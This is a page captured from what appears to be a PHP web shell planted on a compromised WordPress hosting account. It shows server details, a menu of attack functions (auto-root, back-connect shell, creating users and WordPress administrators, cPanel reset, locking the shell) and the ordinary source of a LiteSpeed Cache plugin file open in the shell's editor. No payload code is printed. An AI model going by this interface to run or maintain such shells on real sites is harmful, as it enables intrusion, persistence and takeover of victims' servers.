Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 13.59.67.238
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
temmmp /
anonmags.com /
wp-content /
plugins /
litespeed-cache /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
cdn
[ DIR ]
drwxr-xr-x
data_structure
[ DIR ]
drwxr-xr-x
activation.cls.php
14.99
KB
-rw-r--r--
admin-display.cls.php
33.2
KB
-rw-r--r--
admin-settings.cls.php
9.52
KB
-rw-r--r--
admin.cls.php
4.44
KB
-rw-r--r--
api.cls.php
11.08
KB
-rw-r--r--
avatar.cls.php
6.06
KB
-rw-r--r--
base.cls.php
30.23
KB
-rw-r--r--
cdn-setup.cls.php
10.45
KB
-rw-r--r--
cdn.cls.php
13.13
KB
-rw-r--r--
cloud.cls.php
42.48
KB
-rw-r--r--
conf.cls.php
18.58
KB
-rw-r--r--
control.cls.php
21.75
KB
-rw-r--r--
core.cls.php
20.05
KB
-rw-r--r--
crawler-map.cls.php
14
KB
-rw-r--r--
crawler.cls.php
34.69
KB
-rw-r--r--
css.cls.php
13.1
KB
-rw-r--r--
data.cls.php
17.41
KB
-rw-r--r--
data.upgrade.func.php
21.37
KB
-rw-r--r--
db-optm.cls.php
9.58
KB
-rw-r--r--
debug2.cls.php
13.1
KB
-rw-r--r--
doc.cls.php
4.74
KB
-rw-r--r--
error.cls.php
6.91
KB
-rw-r--r--
esi.cls.php
26.91
KB
-rw-r--r--
file.cls.php
10.13
KB
-rw-r--r--
gui.cls.php
27.45
KB
-rw-r--r--
health.cls.php
2.89
KB
-rw-r--r--
htaccess.cls.php
23.95
KB
-rw-r--r--
img-optm.cls.php
60.24
KB
-rw-r--r--
import.cls.php
4.15
KB
-rw-r--r--
instance.cls.php
154
B
-rw-r--r--
lang.cls.php
15.47
KB
-rw-r--r--
localization.cls.php
3.38
KB
-rw-r--r--
media.cls.php
31.03
KB
-rw-r--r--
metabox.cls.php
4.21
KB
-rw-r--r--
object-cache.cls.php
15.92
KB
-rw-r--r--
object.lib.php
33.97
KB
-rw-r--r--
optimize.cls.php
36.53
KB
-rw-r--r--
optimizer.cls.php
9.02
KB
-rw-r--r--
placeholder.cls.php
14.12
KB
-rw-r--r--
preset.cls.php
5.43
KB
-rw-r--r--
purge.cls.php
29.79
KB
-rw-r--r--
report.cls.php
5.33
KB
-rw-r--r--
rest.cls.php
7.87
KB
-rw-r--r--
root.cls.php
12.6
KB
-rw-r--r--
router.cls.php
19.08
KB
-rw-r--r--
str.cls.php
1.17
KB
-rw-r--r--
tag.cls.php
8.62
KB
-rw-r--r--
task.cls.php
5.83
KB
-rw-r--r--
tool.cls.php
3.29
KB
-rw-r--r--
ucss.cls.php
14.39
KB
-rw-r--r--
utility.cls.php
20.63
KB
-rw-r--r--
vary.cls.php
19.17
KB
-rw-r--r--
vpi.cls.php
7.41
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : import.cls.php
<?php /** * The import/export class. * * @since 1.8.2 */ namespace LiteSpeed; defined('WPINC') || exit(); class Import extends Base { protected $_summary; const TYPE_IMPORT = 'import'; const TYPE_EXPORT = 'export'; const TYPE_RESET = 'reset'; /** * Init * * @since 1.8.2 */ public function __construct() { Debug2::debug('Import init'); $this->_summary = self::get_summary(); } /** * Export settings to file * * @since 1.8.2 * @access public */ public function export($only_data_return = false) { $raw_data = $this->get_options(true); $data = array(); foreach ($raw_data as $k => $v) { $data[] = \json_encode(array($k, $v)); } $data = implode("\n\n", $data); if ($only_data_return) { return $data; } $filename = $this->_generate_filename(); // Update log $this->_summary['export_file'] = $filename; $this->_summary['export_time'] = time(); self::save_summary(); Debug2::debug('Import: Saved to ' . $filename); @header('Content-Disposition: attachment; filename=' . $filename); echo $data; exit(); } /** * Import settings from file * * @since 1.8.2 * @access public */ public function import($file = false) { if (!$file) { if (empty($_FILES['ls_file']['name']) || substr($_FILES['ls_file']['name'], -5) != '.data' || empty($_FILES['ls_file']['tmp_name'])) { Debug2::debug('Import: Failed to import, wrong ls_file'); $msg = __('Import failed due to file error.', 'litespeed-cache'); Admin_Display::error($msg); return false; } $this->_summary['import_file'] = $_FILES['ls_file']['name']; $data = file_get_contents($_FILES['ls_file']['tmp_name']); } else { $this->_summary['import_file'] = $file; $data = file_get_contents($file); } // Update log $this->_summary['import_time'] = time(); self::save_summary(); $ori_data = array(); try { // Check if the data is v4+ or not if (strpos($data, '["_version",') === 0) { Debug2::debug('[Import] Data version: v4+'); $data = explode("\n", $data); foreach ($data as $v) { $v = trim($v); if (!$v) { continue; } list($k, $v) = \json_decode($v, true); $ori_data[$k] = $v; } } else { $ori_data = \json_decode(base64_decode($data), true); } } catch (\Exception $ex) { Debug2::debug('[Import] ❌ Failed to parse serialized data'); return false; } if (!$ori_data) { Debug2::debug('[Import] ❌ Failed to import, no data'); return false; } else { Debug2::debug('[Import] Importing data', $ori_data); } $this->cls('Conf')->update_confs($ori_data); if (!$file) { Debug2::debug('Import: Imported ' . $_FILES['ls_file']['name']); $msg = sprintf(__('Imported setting file %s successfully.', 'litespeed-cache'), $_FILES['ls_file']['name']); Admin_Display::succeed($msg); } else { Debug2::debug('Import: Imported ' . $file); } return true; } /** * Reset all configs to default values. * * @since 2.6.3 * @access public */ public function reset() { $options = $this->cls('Conf')->load_default_vals(); $this->cls('Conf')->update_confs($options); Debug2::debug('[Import] Reset successfully.'); $msg = __('Reset successfully.', 'litespeed-cache'); Admin_Display::succeed($msg); } /** * Generate the filename to export * * @since 1.8.2 * @access private */ private function _generate_filename() { // Generate filename $parsed_home = parse_url(get_home_url()); $filename = 'LSCWP_cfg-'; if (!empty($parsed_home['host'])) { $filename .= $parsed_home['host'] . '_'; } if (!empty($parsed_home['path'])) { $filename .= $parsed_home['path'] . '_'; } $filename = str_replace('/', '_', $filename); $filename .= '-' . date('Ymd_His') . '.data'; return $filename; } /** * Handle all request actions from main cls * * @since 1.8.2 * @access public */ public function handler() { $type = Router::verify_type(); switch ($type) { case self::TYPE_IMPORT: $this->import(); break; case self::TYPE_EXPORT: $this->export(); break; case self::TYPE_RESET: $this->reset(); break; default: break; } Admin::redirect(); } }
Close